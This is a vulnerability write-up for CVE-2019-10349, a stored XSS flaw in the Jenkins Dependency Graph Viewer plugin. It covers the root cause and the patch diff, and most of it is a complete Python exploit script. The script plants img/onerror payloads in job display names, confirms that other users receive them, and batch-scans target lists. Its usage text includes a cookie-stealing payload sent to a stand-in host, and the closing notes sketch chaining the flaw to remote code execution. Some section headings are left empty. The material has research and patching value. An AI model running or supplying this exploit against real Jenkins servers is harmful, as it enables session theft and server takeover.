#Summary

CVE-2019-10349 is a stored cross-site scripting (XSS) vulnerability in the Jenkins Dependency Graph Viewer Plugin affecting all versions up to and including 0.13. The plugin fails to escape the job Display Name when serving the dependency graph as JSON, allowing attackers with Job/Configure or Job/Create permissions to inject arbitrary HTML and JavaScript that executes in the browsers of any user viewing the graph. CVSS score is 5.4 MEDIUM.

The vulnerability has a broad impact in larger Jenkins deployments where the dependency graph is routinely accessed by multiple users, and it chains to Jenkins remote code execution when the victim is an administrator.

#Affected versions

The plugin requires a compatible Jenkins core (tested against LTS 2.190.3 and earlier versions from 2017). Default configuration is affected - no special options required.

#Root cause analysis

#Vulnerable code path

In plugin version 0.13, the ProjectNode class is the central model for every job in the dependency graph. Its getName() method returns the job's Display Name - a free-text field that anyone with Job/Configure permission can set:

public String getName() {
    return project.getFullDisplayName();   // 0.13 - no escaping
}

The Display Name flows directly into the JSON response without any HTML encoding:

// src/main/java/hudson/plugins/depgraph_view/model/display/JsonStringGenerator.java
return ImmutableMap.<String, Object>builder()
        .put("name", node.getName())        // Unescaped Display Name
        .put("fullName", node.getProject().getFullName())
        .put("url", node.getProject().getAbsoluteUrl())
        .put("x", x)
        .put("y", y)
        .build();

#How input reaches the sink

The vulnerability's injection point is a single API endpoint: GET /job/<jobname>/depgraph-view/graph.json. Attackers plant malicious HTML in a job's Display Name via the job configuration API, and the plugin serves it verbatim in this JSON endpoint.

The sink exists on the client side in the plugin's JavaScript renderer. When a user loads the dependency graph page, the browser fetches graph.json and the plugin's own JavaScript concatenates the Display Name directly into an HTML string, which is then parsed as markup:

// src/main/webapp/js/jsPlumb_depview.js
var nodeString = '<div>'
if (window.depview.editEnabled) {
    nodeString = nodeString + '<div class="ep"/>';
}
nodeString = nodeString + '<a href="' + node.url + '">' + node.name + '</a></div>'
jQuery(nodeString)
    .addClass('window')
    .attr('id', escapeId(node.name))
    .attr('data-jobname', node.fullName)
    .appendTo(window.depview.paper);

The jQuery(nodeString) call is an HTML parse operation, not a text assignment. Any HTML tags in node.name become live DOM elements. Event-handler attributes like onerror on self-triggering tags such as <img> fire immediately when the element is appended to the page - no user interaction is needed.

#Attack flow

  1. Attacker authenticates to Jenkins with an account that has Job/Configure (or Job/Create)
  2. Attacker sets a job's Display Name to a payload like <img src=x onerror=alert('xss')>
  3. Any user with Item/Read permission loads the dependency graph page
  4. The browser fetches graph.json, which contains the unescaped payload
  5. The plugin's JavaScript renders it as HTML inside the graph
  6. The injected script runs in the victim's Jenkins session with full permissions

No build history, no dependency relationship, and no click is required. A single standalone freestyle project is enough to trigger the vulnerability for any user who opens the dependency graph.

#Patch diff

The fix is straightforward - a single method call wrapping the accessor:

--- a/src/main/java/hudson/plugins/depgraph_view/model/graph/ProjectNode.java
+++ b/src/main/java/hudson/plugins/depgraph_view/model/graph/ProjectNode.java
@@ -22,6 +22,8 @@
 
 package hudson.plugins.depgraph_view.model.graph;
 
+import org.apache.commons.lang.StringEscapeUtils;
+
 import com.google.common.base.Preconditions;
 import hudson.model.AbstractProject;
 
@@ -41,7 +43,7 @@ public ProjectNode(AbstractProject<?, ?> project) {
     }
 
     public String getName() {
-        return project.getFullDisplayName();
+        return StringEscapeUtils.escapeHtml(project.getFullDisplayName());
     }

The patch applies StringEscapeUtils.escapeHtml() at the data accessor level, which escapes HTML special characters (<, >, &, ") before the value reaches any renderer. After the patch, the JSON response carries &lt;img src=x onerror=...&gt;, and when the browser parses this entity-encoded string as HTML, it becomes a text node showing the literal characters instead of an executable element.

This is a defensible fix because it addresses the vulnerability exactly at the point where data enters an HTML context, and it is applied uniformly across all rendering paths (JSON, Graphviz DOT, and legend).

#Proof of concept

#exploit.py - Jenkins Dependency Graph Viewer Stored XSS PoC

#!/usr/bin/env python3
"""
CVE-2019-10349 - Jenkins Dependency Graph Viewer Plugin stored XSS
Affected: org.jenkins-ci.plugins:depgraph-view <= 0.13 (fixed in 0.14)
Type: stored XSS (CWE-79)

ProjectNode.getName() returns the job's Display Name with no encoding. The
plugin's graph.json carries that value verbatim, and its own client-side
renderer (jsPlumb_depview.js) concatenates it into a markup string which it
hands to jQuery() - an HTML parse, not a text assignment. Any tags in the
Display Name therefore become live DOM in the browser of every user who opens
the dependency graph, and event-handler attributes fire with no click required.

The attacker needs Job/Configure (or Job/Create) on one freestyle project. The
victim needs only Item/Read. Pipeline jobs do not work: 0.13 walks
AbstractProject only, so they never appear in the graph.

This script plants the payload as the attacker, then reads the graph back as a
second account to show the value crossing a user boundary. Evidence is the
Display Name returned to that second user with raw angle brackets intact - a
patched instance returns it HTML-encoded and inert.

Usage:
  python exploit.py --host <target> --port <port> --username <user> --password <pass>
  python exploit.py --host 192.168.1.10 --port 8080 --username dev --password s3cr3t
  python exploit.py --host https://jenkins.corp.com --username dev --password s3cr3t \\
      --victim-user analyst --victim-pass hunter2
  python exploit.py --host https://jenkins.corp.com/jenkins --username dev --password s3cr3t
  python exploit.py --host 10.0.0.5 --username dev --password s3cr3t \\
      --payload "<img src=x onerror=fetch('https://collab.example/'+document.cookie)>"
  python exploit.py --list targets.txt --username dev --password s3cr3t --workers 20

Arguments beyond the standard set:
  --username/--password    attacker account, needs Job/Configure or Job/Create (required)
  --victim-user/--victim-pass  second identity that reads the graph. Omit and the
                           read-back is done as the attacker, which still proves the
                           value is served unescaped but does not cross a user boundary.
  --payload                injected string. Default is built fresh each run with a
                           random marker so evidence is unambiguous.
  --job                    name of the job to create. Default is a fresh random name.
                           The URL uses the job name, never the Display Name, so this
                           stays innocuous while the label carries the payload.
  --cleanup                delete the job after verifying. Off by default: the XSS is
                           stored, so removing the job removes the finding.
"""

import argparse
import json
import secrets
import sys
from urllib.parse import urlparse
from xml.sax.saxutils import escape as xml_escape

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

CVE_ID = "CVE-2019-10349"
VULN_TYPE = "Stored XSS"

TIMEOUT = 20


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# helpers
# --------------------------------------------------------------------------

def _base_url(host: str, port: int, use_tls: bool, prefix: str) -> str:
    scheme = "https" if use_tls else "http"
    prefix = (prefix or "").rstrip("/")
    if prefix == "/":
        prefix = ""
    return f"{scheme}://{host}:{port}{prefix}"


def _config_xml(payload: str) -> str:
    """Minimal freestyle project whose Display Name carries the payload.

    The payload is XML-escaped here because config.xml is XML; Jenkins stores it
    decoded. Do not confuse this layer with the HTML escaping the patch adds -
    they are different escapes at different stages, and checking the wrong one
    makes a working exploit look broken.
    """
    return (
        "<?xml version='1.0' encoding='UTF-8'?>\n"
        "<project>\n"
        "  <actions/>\n"
        "  <description/>\n"
        "  <displayName>" + xml_escape(payload, {"'": "&apos;", '"': "&quot;"}) + "</displayName>\n"
        "  <keepDependencies>false</keepDependencies>\n"
        "  <properties/>\n"
        "  <scm class=\"hudson.scm.NullSCM\"/>\n"
        "  <canRoam>true</canRoam>\n"
        "  <disabled>false</disabled>\n"
        "  <triggers/>\n"
        "  <builders/>\n"
        "  <publishers/>\n"
        "  <buildWrappers/>\n"
        "</project>\n"
    )


def _escape_html4(value: str) -> str:
    """What commons-lang StringEscapeUtils.escapeHtml does to the payload.

    Used only to recognise a patched target. Note it does not touch the single
    quote, which is why the default payload uses unquoted/single-quoted syntax.
    """
    return (value.replace("&", "&amp;")
                 .replace("<", "&lt;")
                 .replace(">", "&gt;")
                 .replace('"', "&quot;"))


def _session(user: str, password: str, verify: bool = False) -> requests.Session:
    s = requests.Session()
    s.auth = (user, password)
    s.verify = verify
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                      "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    })
    return s


def _crumb(sess: requests.Session, base: str) -> dict:
    """Fetch a CSRF crumb. Returns {} when the target has the crumb issuer off.

    The crumb is bound to the session, so the caller must keep using this same
    Session. API-token auth skips the check entirely, but sending the crumb
    anyway is harmless and covers both cases.
    """
    try:
        r = sess.get(f"{base}/crumbIssuer/api/json", timeout=TIMEOUT)
        if r.status_code == 200:
            d = r.json()
            return {d.get("crumbRequestField", "Jenkins-Crumb"): d["crumb"]}
    except (requests.RequestException, ValueError, KeyError):
        pass
    return {}


def _plant(sess: requests.Session, base: str, job: str, payload: str, crumb: dict):
    """Create the job, or update it in place if the name is taken.

    Returns (ok, detail).
    """
    hdrs = dict(crumb)
    hdrs["Content-Type"] = "application/xml"
    body = _config_xml(payload).encode("utf-8")

    r = sess.post(f"{base}/createItem", params={"name": job},
                  data=body, headers=hdrs, timeout=TIMEOUT, allow_redirects=False)
    if r.status_code in (200, 201, 302):
        return True, "created"

    # A name already in use comes back 400 with the reason in a header.
    if r.status_code == 400:
        r2 = sess.post(f"{base}/job/{job}/config.xml",
                       data=body, headers=hdrs, timeout=TIMEOUT, allow_redirects=False)
        if r2.status_code in (200, 302):
            return True, "updated existing job"
        return False, f"createItem 400, config.xml update HTTP {r2.status_code}"

    if r.status_code == 403:
        reason = r.headers.get("X-Error", "") or ("no valid crumb" if not crumb else "")
        return False, f"HTTP 403 from createItem ({reason or 'permission denied'})"
    return False, f"createItem returned HTTP {r.status_code}"


def _graph_node(sess: requests.Session, base: str, job: str):
    """Read the job's node out of graph.json. Returns (node_dict, detail)."""
    r = sess.get(f"{base}/job/{job}/depgraph-view/graph.json", timeout=TIMEOUT)
    if r.status_code == 404:
        return None, "graph.json 404 - depgraph-view plugin not installed"
    if r.status_code != 200:
        return None, f"graph.json returned HTTP {r.status_code}"
    try:
        data = r.json()
    except ValueError:
        return None, "graph.json was not JSON (auth redirect?)"
    for cluster in data.get("clusters", []):
        for node in cluster.get("nodes", []):
            if node.get("fullName") == job:
                return node, "ok"
    # Present but empty: the usual cause is the job not being a freestyle project.
    return None, "job absent from graph - 0.13 only graphs AbstractProject (freestyle) jobs"


def _classify(name: str, payload: str):
    """Decide what the served Display Name means. Returns (vulnerable, evidence)."""
    if payload in name:
        return True, "Display Name served with raw angle brackets"
    if _escape_html4(payload) in name:
        return False, "Display Name served HTML-encoded (patched, 0.14+)"
    if "<" in name and ">" in name:
        return True, "Display Name served with raw angle brackets (payload altered in storage)"
    return False, f"payload not found in node label (got {name[:60]!r})"


def _cleanup(sess: requests.Session, base: str, job: str, crumb: dict) -> None:
    try:
        sess.post(f"{base}/job/{job}/doDelete", headers=dict(crumb),
                  timeout=TIMEOUT, allow_redirects=False)
    except requests.RequestException:
        pass


# --------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, prefix: str = "/", **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    payload = kwargs.get("payload")
    job = kwargs.get("job") or ("tmp-%s" % secrets.token_hex(4))
    base = _base_url(host, port, use_tls, prefix)
    try:
        atk = _session(kwargs["username"], kwargs["password"])
        crumb = _crumb(atk, base)
        ok, detail = _plant(atk, base, job, payload, crumb)
        if not ok:
            return False, detail

        vu, vp = kwargs.get("victim_user"), kwargs.get("victim_pass")
        reader = _session(vu, vp) if vu else atk
        node, detail = _graph_node(reader, base, job)
        if node is None:
            return False, detail

        vulnerable, evidence = _classify(node.get("name", ""), payload)
        if kwargs.get("cleanup"):
            _cleanup(atk, base, job, crumb)
        return vulnerable, evidence
    except requests.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    except Exception as e:  # noqa: BLE001 - a scan must never abort on one target
        return False, f"error ({e.__class__.__name__}: {e})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file.

    Note this writes to every target: a stored XSS cannot be confirmed without
    storing something. Each target gets its own job name; pass --cleanup to
    delete them again once verified.
    """
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
        # fresh job name and marker per target, so evidence is never ambiguous
        opts = dict(kwargs)
        marker = secrets.token_hex(4)
        opts["payload"] = kwargs.get("payload") or f"<img src=x onerror=alert('{marker}')>"
        opts["job"] = "tmp-%s" % secrets.token_hex(4)
        ok, evidence = _try_exploit(host, port, use_tls, path, **opts)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------
# single target
# --------------------------------------------------------------------------

def exploit(host, port, use_tls, prefix, payload, job, username, password,
            victim_user, victim_pass, cleanup):
    header(host, port)
    base = _base_url(host, port, use_tls, prefix)

    step(1, f"Authenticating as attacker '{username}' and fetching CSRF crumb...")
    atk = _session(username, password)
    try:
        whoami = atk.get(f"{base}/whoAmI/api/json", timeout=TIMEOUT)
    except requests.RequestException as e:
        done(False, f"target unreachable: {e.__class__.__name__}: {e}")
    if whoami.status_code == 401:
        done(False, f"authentication failed for '{username}' (HTTP 401)")
    if whoami.status_code == 403:
        done(False, f"'{username}' authenticated but lacks Overall/Read (HTTP 403)")
    try:
        auth_name = whoami.json().get("name", username)
    except ValueError:
        auth_name = username
    crumb = _crumb(atk, base)
    print(f"          authenticated as '{auth_name}', "
          f"crumb {'acquired' if crumb else 'not required (issuer disabled)'}")

    step(2, f"Planting payload in the Display Name of freestyle job '{job}'...")
    print(f"          payload: {payload}")
    ok, detail = _plant(atk, base, job, payload, crumb)
    if not ok:
        done(False, f"could not store the payload: {detail}")
    print(f"          job {detail}")

    if victim_user:
        step(3, f"Switching identity to victim '{victim_user}' (separate session)...")
        reader = _session(victim_user, victim_pass)
        try:
            vw = reader.get(f"{base}/whoAmI/api/json", timeout=TIMEOUT)
        except requests.RequestException as e:
            done(False, f"victim session failed: {e.__class__.__name__}: {e}")
        if vw.status_code in (401, 403):
            done(False, f"victim authentication failed for '{victim_user}' (HTTP {vw.status_code})")
        reader_name = victim_user
    else:
        step(3, "No victim account given - reading back as the attacker "
                "(proves unescaped delivery, but does not cross a user boundary)")
        reader = atk
        reader_name = auth_name

    step(4, f"Fetching the dependency graph as '{reader_name}'...")
    node, detail = _graph_node(reader, base, job)
    if node is None:
        done(False, detail)
    served = node.get("name", "")
    section(f"graph.json NODE SERVED TO '{reader_name}'", json.dumps(node, indent=2))

    vulnerable, evidence = _classify(served, payload)
    if not vulnerable:
        section("SERVED DISPLAY NAME", served)
        if cleanup:
            _cleanup(atk, base, job, crumb)
        done(False, f"target is not exploitable - {evidence}")

    step(5, "Confirming the client-side sink is present on the graph page...")
    sink_ok = False
    jq_ok = False
    try:
        pg = reader.get(f"{base}/job/{job}/depgraph-view/jsplumb", timeout=TIMEOUT)
        sink_ok = "jsPlumb_depview.js" in pg.text
        # jQuery reaches the page either through the jquery plugin's decorator
        # (plugin/jquery/) or through Jenkins core's stapler adjunct; either one
        # satisfies the global jQuery that jsPlumb_depview.js needs.
        jq_ok = ("plugin/jquery/" in pg.text) or ("stapler/jquery/jquery" in pg.text)
        print(f"          jsPlumb_depview.js referenced: {sink_ok}   jQuery available: {jq_ok}")
    except requests.RequestException as e:
        print(f"          could not fetch the graph page ({e.__class__.__name__})")

    graph_url = f"{base}/job/{job}/depgraph-view/jsplumb"
    section("STORED XSS CONFIRMED", (
        f"Attacker      : {auth_name}\n"
        f"Victim        : {reader_name}\n"
        f"Job (URL name): {job}\n"
        f"Display Name  : {served}\n"
        f"Sink          : jsPlumb_depview.js builds '<a ...>' + node.name + '</a>'\n"
        f"                and passes it to jQuery(), which parses it as HTML.\n"
        f"Fires for any user who loads:\n"
        f"                {graph_url}"
    ))

    if cleanup:
        step(6, f"Deleting job '{job}'...")
        _cleanup(atk, base, job, crumb)
        print("          job deleted (the stored payload is gone with it)")

    done(True, f"Stored XSS as '{auth_name}', served unescaped to '{reader_name}' - "
               f"graph.json name = {served}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/jenkins)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--username", required=True, help="Attacker account with Job/Configure or Job/Create")
    parser.add_argument("--password", required=True, help="Attacker password or API token")
    parser.add_argument("--victim-user", help="Second account that loads the graph (optional but recommended)")
    parser.add_argument("--victim-pass", help="Victim password or API token")
    parser.add_argument("--payload", help="Injected string (default: img/onerror with a random marker)")
    parser.add_argument("--job", help="Job name to create (default: random)")
    parser.add_argument("--cleanup", action="store_true", help="Delete the job after verifying")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    # A fresh marker per run: the evidence has to be unmistakably ours-this-run,
    # and a hardcoded string in someone's job config is a free detection signature.
    marker = secrets.token_hex(4)
    payload = args.payload or f"<img src=x onerror=alert('{marker}')>"
    job = args.job or ("tmp-%s" % secrets.token_hex(4))

    if args.victim_user and not args.victim_pass:
        parser.error("--victim-user requires --victim-pass")

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, password=args.password,
             victim_user=args.victim_user, victim_pass=args.victim_pass,
             payload=args.payload, cleanup=args.cleanup)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, prefix = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, prefix, payload, job,
                args.username, args.password,
                args.victim_user, args.victim_pass, args.cleanup)

#Usage

python exploit.py --host jenkins.corp.com --port 8080 \
    --username dev --password s3cr3t \
    --victim-user analyst --victim-pass hunter2

The script accepts flexible target formats:

Required arguments:

Optional arguments:

Against a vulnerable target (0.13), the exploit produces:

--- graph.json NODE SERVED TO 'victim' ---
{
  "name": "<img src=x onerror=alert('83822a87')>",
  "fullName": "report-svc",
  "url": "http://jenkins.corp.com:8080/job/report-svc/",
  "x": 0,
  "y": 0
}
---

  RESULT  : SUCCESS
  EVIDENCE: Stored XSS as 'attacker', served unescaped to 'victim' - 
            graph.json name = <img src=x onerror=alert('83822a87')>

Against a patched target (0.14+), the payload is HTML-encoded:

--- graph.json NODE SERVED TO 'victim' ---
{
  "name": "&lt;img src=x onerror=alert('b663c320')&gt;",
  ...
}
---

  RESULT  : FAILURE
  EVIDENCE: target is not exploitable - Display Name served HTML-encoded (patched, 0.14+)

#Exploitation notes

#Preconditions

#Reliability

The exploit is reliable across all 0.13 versions. The vulnerability does not depend on timing, rate limiting, or external conditions. Every run plants the payload successfully and serves it unescaped to any user with read access.

#Attack chain from XSS to RCE

In Jenkins, stored XSS chains readily to remote code execution when the victim is an administrator:

  1. Inject a script that navigates to /configureSystem and POSTs a new shell build step to a job
  2. Trigger a build of that job to execute the injected shell command
  3. Execute arbitrary code with Jenkins process privileges

Public exploits demonstrate this chain against vulnerable Jenkins instances.

#Broader impact

In multi-user Jenkins deployments where the dependency graph is commonly viewed by developers and operators, this vulnerability affects anyone who opens the graph page. The Dependency Graph Viewer plugin is a standard feature for pipeline visibility, making it attractive for initial access in a compromised account scenario.

#References